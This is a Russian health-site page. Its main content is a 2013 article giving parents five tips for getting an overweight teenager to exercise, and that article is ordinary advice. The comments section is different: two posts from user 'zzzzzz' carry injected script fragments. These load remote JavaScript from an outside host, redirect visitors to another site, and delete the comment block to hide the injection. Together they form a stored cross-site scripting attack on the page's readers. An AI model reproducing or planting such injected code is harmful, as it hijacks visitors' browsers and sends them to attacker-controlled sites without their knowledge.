Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как поднять вашего ребенк...  >>  Как поднять вашего ребенка с дивана
 
Обратная связь
 

Как поднять вашего ребенка с дивана

Размер шрифта
31 октября 2013 00:00
  • google_analytics: false
  • Нравится

Нет такого подростка, который был бы обречен на избыточный вес. Европейское исследование 2010 года показало, что даже ген, связанный с ожирением, для подростков легко преодолим, если они упражняются в течение 60 минут в день. У таких подростков более низкий индекс массы тела (ИМТ) и объем талии.

Как поднять вашего ребенка с дивана

Может показаться, что час упражнений в день –это много. Избыточный вес у физически не активного подростка делает его более застенчивым, усиливает чувство подавленности.

Наши советы помогут родителям скоординировать ребенка, чтобы тот упражнялся до 60 мину день. Главный секрет в том, чтобы начать с малого и обеспечить поддержку вашего чада на этом пути.

Совет 1: начинайте с малого

Дети, которые никогда до этого не занимались спортом, могут быть ни морально, ни физически не готовы начать заниматься физической активностью такой промежуток времени. Так что начните с небольших шагов, например, с 10 минут ходьбы каждый день после школы. Добавляйте по минуте ходьбы каждый раз, следите за прогрессом.

Установка целей – это важный пункт успешной мотивации. Также вы можете договориться с ребенком о том, что будете поощрять некоторую часть его успехов (главное, чтобы «награда» не была какой-то сладостью или булочкой, так как это спишет все ваши усилия на нет).

К тому же, наблюдение за своими маленькими «победами» укрепит уверенность вашего ребенка в себе, выработает у него привычку сделать упражнения частью своей жизни.

Совет 2: ограничьте время у экрана телевизора и компьютера

Если все свободное время ваш ребенок-подросток проводит перед телевизором или компьютером, он никогда не научится вести активный образ жизни. Американская академия педиатрии рекомендует ограничить просмотр телевизора и компьютерные игры до двух часов в день. Так что обсудите вместе с ребенком, какое именно время дня, он может проводить у экрана.

И когда ваша семья проводит время у экрана телевизора, попробуйте следовать следующим советам:

  • делайте разминку во время рекламных пауз, например, простые отжимания или подъемы ног,
  • будьте образцом для подражания. Даже если ребенок сразу не будет впечатлен этой идеей, он заметит ваш энтузиазм. Регулярно делайте разминку во время просмотра телевизора. Можно также хранить небольшие гантели в коробке рядом с телевизором, чтобы упражняться во время рекламы. Поверьте, пройдет немного времени, и ребенок последует вашему примеру.

Совет 3: сделайте тренировки приятными

Внимательнее присмотритесь к интересам своего ребенка. Ведь они тоже могут быть активными. Ваш сын любит природу и животных? Поездки на свежий воздух всей семьей с палатками, походы, уход за животными – все это тоже физическая нагрузка. Если ваша дочь интересуется боевыми искусствами, танцами или гимнастикой, вы можете записать ее в любую из этих секций. Даже увлечение театральным искусством, если его поощрять, поможет оторвать вашего ребенка от кровати.

Не забывайте также и о летних поездках на дачу или в деревню. Свежий воздух, помощь в прополке грядок – все это заставит вашего ребенка двигаться. 

Совет 4: не бойтесь силовых тренировок

Силовые тренировки, упражнения с гантелями могут быть хорошей нагрузкой для подростков, как и аэробные упражнения. Исследование 2009 года показало, что силовые тренировки три раза в неделю значительно снижают жировые отложения и увеличивают мышечную массу и силу у детей с ожирением.

Совсем не обязательно ходить в спортзал. Ваш ребенок может делать отжимания, поднимать тяжести или делать упражнения с сопротивлением и дома. Сначала проконсультируйтесь с врачом, чтобы уточнить подходящий режим нагрузок.

Совет 5: поощряйте просмотр спортивных состязаний

Если ваш ребенок увлекается просмотром спортивных соревнований, подайте ему мысль, что наслаждение играть самому куда выше.Подростки с избыточным весом могут получить выгоду от вступления в спортивную команду, которая формируется по уровню подготовки, а не возрасту. Если вашему ребенку нравится несколько видов спорта или его любимые соревнования не доступны в городе вашего проживания (согласитесь, сложно заниматься серфингом, если вы живете в северной части страны), то постарайтесь заинтересовать его нейтральным, не требующим особых условий, спортом, например, ездой на велосипеде или бегом.

В конце концов, помните, что приобщение к активному и здоровому образу жизни – это не гонка. Ваш ребенок войдет во вкус, только если вы не будете его торопить и требовать невозможного. И помните, что вы являетесь лучшим примером и образцом для подражания для вашего ребенка. Поэтому не забывайте о себе и ведите активный образ жизни.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:57

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:56

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Как воспитывать ребенка, чтобы он не был толстым?   Кесарю кесарево, а ребенку, родившемуся с помощью кесарева сечения, лишний вес!   В новый год – с новым весом!   Сколько надо сбросить, чтобы не заболеть раком! Ответ в конце статьи!  
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 31 мая 2013От инфаркта не убежать, но можно уйти! Новые данные говорят о том, что ходьба также эффективна, как бег, в борьбе с лишним весом!
 
05 июля 2013Вы не виноваты в своем лишнем весе! Еда всего лишь одна из причин ожирения! Какая же главная? 11 июня 2013Для похудения больше не нужна операция! Новый метод лечения делает потерю веса плевым делом
 

Слайдшоу

1
Как похудеть, ничего не делая
Как натренировать волю и похудеть?
Еда, которая заставляет вас ЕСТЬ

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Какое мороженное съесть, чтобы похудеть
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.